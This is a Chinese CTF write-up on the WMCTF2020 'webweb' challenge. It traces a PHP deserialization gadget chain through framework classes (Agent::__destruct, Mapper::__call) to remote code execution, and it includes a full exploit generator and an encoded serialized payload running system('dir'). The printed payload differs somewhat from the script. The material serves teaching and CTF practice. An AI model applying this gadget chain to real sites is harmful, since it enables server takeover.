从WMCTF2020 webweb学反序列化
2021-03-04 15:45:32 Author: xz.aliyun.com(查看原文) 阅读量:219 收藏

题目源码可以在XCTF平台上下载到。

准备工作

下载源码,有readme,通过readme可以得知是某个框架。于是通过GitHub下载源版文件进行对比。

主页只给了一个反序列化。应该考察的是反序列化。

那么就需要寻找入口函数__destruct()或者__wakeup()

删了两处__destruct(),应该是防止走偏。

那么入口应该在第三处CLI\Agent::__destruct()入手

function __destruct() {
    if (isset($this->server->events['disconnect']) &&
        is_callable($func=$this->server->events['disconnect']))
        $func($this);
}

这里根据$this->server->events['disconnect']

可以尝试将$func控制为任意函数

is_callable()判断$fun是否为可执行的函数,其值可以为一个数组。

然后执行这个函数。

那么如何通过这个函数进行RCE呢?这里寻找函数就变得很重要。

因为这里无法控制这个函数的参数。于是我们考虑构造__call()的方法进行攻击。

搜寻类似这种格式。

其中$A是我们可控的,为某一个类。B是用来触发__call()方法的$A类中的那个并不存在的方法。__call()方法的返回值即为危险方法,比如system()等。C也是我们可控的一个变量。在这道题中作为system()的参数。

CLI\Agent::fench

function fetch() {
    // Unmask payload
    $server=$this->server;
    if (is_bool($buf=$server->read($this->socket)))
        return FALSE;

CLI\DB\JIG\mapper::insert

function insert() {
        if ($this->id)
            return $this->update();
        $db=$this->db;
        $now=microtime(TRUE);
        while (($id=uniqid(NULL,TRUE)) &&
            ($data=&$db->read($this->file)) && isset($data[$id]) &&
            !connection_aborted())
            usleep(mt_rand(0,100));

CLI\DB\JIG\mapper::erase

function erase($filter=NULL,$quick=FALSE) {
        $db=$this->db;
        $now=microtime(TRUE);
        $data=&$db->read($this->file);

这些都符合我们的要求。这里以第一种举例,socketserver都是我们可控的

接下来只需要寻找一个可以返回任意值的__call()方法。

最终在DB\SQL\Mapper::__call()发现返回值为

function __call($func,$args) {
    return call_user_func_array(
        (array_key_exists($func,$this->props)?
         $this->props[$func]:
         $this->$func),$args
    );
}

返回值为$this->props[$func]

其中props可控,且$func为刚才的read函数,所以$func就为read

那么值需要控制props[read]system就行了。

exp

<?php
namespace DB\SQL {
    class Mapper
    {
        protected $props;
        public function __construct($props)
        {
            $this->props = $props;
        }
    }
}

namespace CLI {
    class Agent
    {
        protected $server;
        protected $socket;
        public function __construct($server, $socket)
        {
            $this->server = $server;
            $this->socket= $socket;
        }
    }

    class WS
    {
        protected $events = [];
        public function __construct($events)
        {
            $this->events = $events;
        }
    }
}

namespace {
    class Log
    {
        public $events = [];
        public function __construct($events)
        {
            $this->events = $events;
        }
    }

    $a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system
    $b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化对象,且不含有read()方法。触发了Mapper的__call()方法,返回了system替换read。同时dir为socket赋值,作为system的参数
    $c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch,其中$b为fetch的所属类
    $d = new CLI\Agent($c, '');//触发__destruct()的点,这里的类是随意的。
    $e = array(new \CLI\WS(""),$d); //为了加载ws.php
    echo urlencode(serialize($e))."\n";
}

payloadO%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A3%3A%22dir%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D

尝试本地调试:

进入反序列化

开始加载php文件,这样会加载cli文件夹下的ws.php。这也就是为什么要$e = new CLI\WS($d); //为了加载ws.php

加载了ws.php才会进入ws.php中的__destruct()方法。

等全部加载完之后进入__destruct()

server为我们控制的Image类。Image类下的event[]也为我们控制的array("disconnect"=>array($b,'fetch'))于是就过了这个判断,且为$func赋值为fetch

然后跟进fetch()函数

此时$server为我们赋值的Mapper类对象,且Mapper类中没有read()这个方法。于是触发了Mapper类对象中的__call()方法

$func即为上图中的read,因为我们在一开始赋值props[read]=system所以props数组中是存在名为read的键的,所以判断为True。

返回了props[read]即system。

此时的read为返回值system,且socket为我们控制的值dir。那么就执行了system('dir')。达成了RCE的目的


文章来源: http://xz.aliyun.com/t/9220
如有侵权请联系:admin#unsafe.sh